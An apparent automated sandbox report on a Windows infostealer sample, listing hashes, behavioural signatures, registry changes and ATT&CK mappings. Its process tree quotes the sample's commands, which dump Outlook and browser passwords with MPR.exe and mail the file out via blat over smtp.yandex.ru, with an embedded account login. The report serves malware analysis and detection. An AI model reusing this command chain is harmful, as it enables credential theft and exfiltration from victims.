Analysis
-
max time kernel
120s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
16/10/2024, 22:51
Behavioral task
behavioral1
Sample
4f73e81d0101de7157f5c2f005fb589d_JaffaCakes118.exe
Resource
win7-20240903-en
General
-
Target
4f73e81d0101de7157f5c2f005fb589d_JaffaCakes118.exe
-
Size
1.1MB
-
MD5
4f73e81d0101de7157f5c2f005fb589d
-
SHA1
0f361bde4d40acccf35047ecb549f9215ca14465
-
SHA256
e66f7f877023fed0b8fcf763b4c06744f087f32c378e59c143a51e932d176c3e
-
SHA512
40383084fa3efc0603f187e9e67927b7949f29bb08504fc00dc5b77ea4998edb5da0c7f27fc848468a9459a940e2f0cca4d953e3c3515fddd06639766a95a663
-
SSDEEP
24576:NnLB6UAKy5FQKBIxV5E+BHB5gaeuJN5qX35:NnN6UE5uO+nv4
Malware Config
Signatures
-
Executes dropped EXE 3 IoCs
pid Process 2584 blat.exe 2860 MPR.exe 2564 blat.exe -
Loads dropped DLL 5 IoCs
pid Process 2112 cmd.exe 2112 cmd.exe 2112 cmd.exe 2112 cmd.exe 2112 cmd.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts MPR.exe -
Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook MPR.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
resource yara_rule behavioral1/memory/2256-0-0x0000000000400000-0x0000000000799000-memory.dmp upx behavioral1/memory/2256-45-0x0000000000400000-0x0000000000799000-memory.dmp upx behavioral1/memory/2256-62-0x0000000000400000-0x0000000000799000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language blat.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MPR.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language blat.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 4f73e81d0101de7157f5c2f005fb589d_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PING.EXE -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 2744 PING.EXE -
Modifies registry class 24 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}\LocalServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\18DE.tmp\\MPR.exe" MPR.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\MPR.DocHostUIHandler\ = "Implements DocHostUIHandler" MPR.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.mpf\MediaPackageFile MPR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mprf MPR.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\mprf\EditFlags = "0" MPR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mprf\shell MPR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mprf\shell\open MPR.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mprf\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\18DE.tmp\\MPR.exe \"%1\"" MPR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\MPR.DocHostUIHandler\Clsid MPR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}\ProgID MPR.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.mpf\MediaPackageFile\ShellNew MPR.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mprf\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\18DE.tmp\\MPR.exe,0" MPR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF} MPR.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}\ = "Implements DocHostUIHandler" MPR.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}\ProgID\ = "MPR.DocHostUIHandler" MPR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mpf MPR.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\mprf\BrowserFlags = "8" MPR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}\LocalServer32 MPR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\MPR.DocHostUIHandler MPR.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.mpf MPR.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mpf\ = "mprf" MPR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mprf\DefaultIcon MPR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mprf\shell\open\command MPR.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\MPR.DocHostUIHandler\Clsid\ = "{3F2BBC05-40DF-11D2-9455-00104BC936FF}" MPR.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2744 PING.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 2860 MPR.exe 2860 MPR.exe 2860 MPR.exe 2860 MPR.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 472 Process not Found -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2860 MPR.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 2860 MPR.exe 2860 MPR.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2256 wrote to memory of 2112 2256 4f73e81d0101de7157f5c2f005fb589d_JaffaCakes118.exe 30 PID 2256 wrote to memory of 2112 2256 4f73e81d0101de7157f5c2f005fb589d_JaffaCakes118.exe 30 PID 2256 wrote to memory of 2112 2256 4f73e81d0101de7157f5c2f005fb589d_JaffaCakes118.exe 30 PID 2256 wrote to memory of 2112 2256 4f73e81d0101de7157f5c2f005fb589d_JaffaCakes118.exe 30 PID 2112 wrote to memory of 2744 2112 cmd.exe 32 PID 2112 wrote to memory of 2744 2112 cmd.exe 32 PID 2112 wrote to memory of 2744 2112 cmd.exe 32 PID 2112 wrote to memory of 2744 2112 cmd.exe 32 PID 2112 wrote to memory of 2584 2112 cmd.exe 33 PID 2112 wrote to memory of 2584 2112 cmd.exe 33 PID 2112 wrote to memory of 2584 2112 cmd.exe 33 PID 2112 wrote to memory of 2584 2112 cmd.exe 33 PID 2112 wrote to memory of 2860 2112 cmd.exe 34 PID 2112 wrote to memory of 2860 2112 cmd.exe 34 PID 2112 wrote to memory of 2860 2112 cmd.exe 34 PID 2112 wrote to memory of 2860 2112 cmd.exe 34 PID 2112 wrote to memory of 2564 2112 cmd.exe 35 PID 2112 wrote to memory of 2564 2112 cmd.exe 35 PID 2112 wrote to memory of 2564 2112 cmd.exe 35 PID 2112 wrote to memory of 2564 2112 cmd.exe 35 -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook MPR.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\4f73e81d0101de7157f5c2f005fb589d_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\4f73e81d0101de7157f5c2f005fb589d_JaffaCakes118.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2256 -
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\18DE.tmp\1.bat" "2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2112 -
C:\Windows\SysWOW64\PING.EXEping ya.ru -n 53⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:2744
-
-
C:\Users\Admin\AppData\Local\Temp\18DE.tmp\blat.exeblat.exe -install -server smtp.yandex.ru -port 587 -f [email protected] -u [email protected] -pw ttk20103⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2584
-
-
C:\Users\Admin\AppData\Local\Temp\18DE.tmp\MPR.exempr.exe /export3⤵
- Executes dropped EXE
- Accesses Microsoft Outlook accounts
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- outlook_win_path
PID:2860
-
-
C:\Users\Admin\AppData\Local\Temp\18DE.tmp\blat.exeblat.exe -bεd≤ PassReg -to [email protected] -attach pass.mpf3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2564
-
-
Network
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
2Credentials In Files
1Credentials in Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
357B
MD5d6b01433eba515a0fbdc965f97b231a7
SHA1ddad62300ccd645f4de785a28288b64b06fe3d51
SHA256e247b236776d88f357989b5a6093a3d0d32500ed27f6359d63f8dc80c8207ce4
SHA5123ae5f753988f4006c641c1ba1506e2695452a8953315878ac964bca326909cf28ee5adacbb291241a179e9c40eb4194319b1ac8921fc62786a7da2a75eb92271
-
Filesize
42KB
MD59b2e0db7547afab728ec31b7288705d6
SHA1cedd09c5fda6c9445d191f97034e23e960361074
SHA256ff44a0fe9d27fc3c1f455b2b9e989235ea55be4b95ed569be4b15129e624214b
SHA5121c4c5eb672541a0fd39ed1174bdd3533e136233bd904c2e8bc7ffcab4f3e9835cbc357a66c6704619795ce983ce57a6a8a206aa922addfcc771dd14c277cdf33
-
Filesize
20KB
MD5e6c7c5d0e84bea6fbce72fcd0911d0b9
SHA1cd14406501b217ffef3462bebadcba77378288ce
SHA256f90fab174e87db8f63862ee3714f01fa35b935988ddc397f111239ac6656816a
SHA51285a138a6bdea227edf64fc9060257a5d7d0d2c9d40d123c37ed2ca83c216391aad8eae736a238d5babc0b1b968c79d7e13de30094ff27090b6ac78b3262f3e53
-
Filesize
120KB
MD5724cae63522f6e5f7565a3bf4b2a719b
SHA118620dbd4357d85918070f669ff4b61755290757
SHA256b87814eaf1cd5268e797f1119b58e3fd79381af3f530be9a90993198cbce1779
SHA512af68749cadf9920a8bed455a2557b1faf475d30fdd62f45da6757fbc5a59341fffeccca4ff646b334da95cf673deeeea74bdbb27a16f510a4e3309055f89817d
-
Filesize
2KB
MD53cd3cffda2b5108e2778f94429c624d6
SHA13e4d218d1b8eb4fa1ab5152b126951892aff3dc9
SHA256b545194041588fc0a6f57e7eb5a93d2418aaa263d246e3c696a79ee5859770ff
SHA512c80080afcc982c4e950876756fb32c7f24fbe45bfbbe78afe144be1ede86dc9ef1e57db95d3df7f4c6011fd226f23684b929781b55d1be659cfa75d14f8d0c79
-
Filesize
1KB
MD5b5a0cfd3e6cb42a29255faa1546f420c
SHA1c55cb0f7b5a04231607498b83629e70105113ee3
SHA256a2d200514887c6f05c9e6150b57cf4541c4923b857cf15723454885b9353dff0
SHA512274a7371f1d75803926380fd10c60c9aa1bb1088594e3e0be5db255bb9f31ae178e8f79ba4b2deb49c24289dea5b17d1244c873e038d0a94159252ab62f4342e
-
Filesize
3.3MB
MD56faecfac8efa8c166d27b4325249de29
SHA11069b5203adca80a91aa12512cec93ac1344f277
SHA256ebe91e2a3e9b5ab00c659bf72e8899425522701c0fe48ac905228068565f1967
SHA512179461a31f21e47413226087d2d465ae787739fcc7d0cfb663f94ca69028dee5bbf77ab72c17caad6f72ff556beeefc9f1f29ec52909c710b6b112a29e4f6cc9
-
Filesize
112KB
MD531f84e433e8d1865e322998a41e6d90e
SHA1cbea6cda10db869636f57b1cffad39b22e6f7f17
SHA256aeca4a77d617da84296b5f857b2821333fe4b9663e8df74ef5a25a7882693e5e
SHA5127ae504723b5b140e45af3163d1bfdc5ee0497debafba07cfbf1d2c15147c000be53f4ac8d36d926ed11cf0bb62e9e72f9bcf5d4caf92aa732d942f55834e2be9